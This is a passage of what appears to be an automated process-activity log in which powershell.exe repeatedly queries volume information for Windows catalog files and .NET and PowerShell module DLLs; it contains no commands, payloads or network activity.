Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
